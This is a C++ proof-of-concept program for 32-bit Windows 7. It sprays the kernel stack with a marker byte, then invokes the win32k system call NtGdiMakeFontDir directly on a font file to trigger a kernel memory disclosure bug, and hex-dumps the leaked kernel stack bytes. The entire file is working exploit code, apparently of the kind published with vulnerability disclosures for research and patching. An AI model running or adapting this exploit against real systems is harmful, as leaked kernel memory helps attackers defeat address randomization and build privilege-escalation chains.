#include <Windows.h>
#include <winternl.h>
#include <cstdio>

extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
    PVOID BaseAddress,
    ULONG NumberOfPages,
    PULONG PageFrameNumbers
);

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[4096];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  // Windows 7 32-bit.
  CONST ULONG __NR_NtGdiMakeFontDir = 0x10eb;

  // Convert thread to GUI.
  LoadLibrary(L"user32.dll");

  // Get the current directory, and built an NT path to the source TTF file.
  TCHAR CurrentDirectory[MAX_PATH];
  if (!GetCurrentDirectory(sizeof(CurrentDirectory), CurrentDirectory)) {
    printf("GetCurrentDirectory failed, %d\n", GetLastError());
    return 1;
  }

  TCHAR FontPath[MAX_PATH];
  _snwprintf_s(FontPath, sizeof(FontPath), L"\\??\\%s\\wine_test.ttf", CurrentDirectory);

  // Spray the kernel stack to get visible results of the memory disclosure.
  SprayKernelStack();

  // Trigger the bug and display the output.
  BYTE output[0xfb] = { /* zero padding */ };
  if (!SystemCall32(__NR_NtGdiMakeFontDir, 0, output, sizeof(output), FontPath, (wcslen(FontPath) + 1) * sizeof(TCHAR))) {
    printf("NtGdiMakeFontDir failed\n");
    return 1;
  }

  PrintHex(output, sizeof(output));

  return 0;
}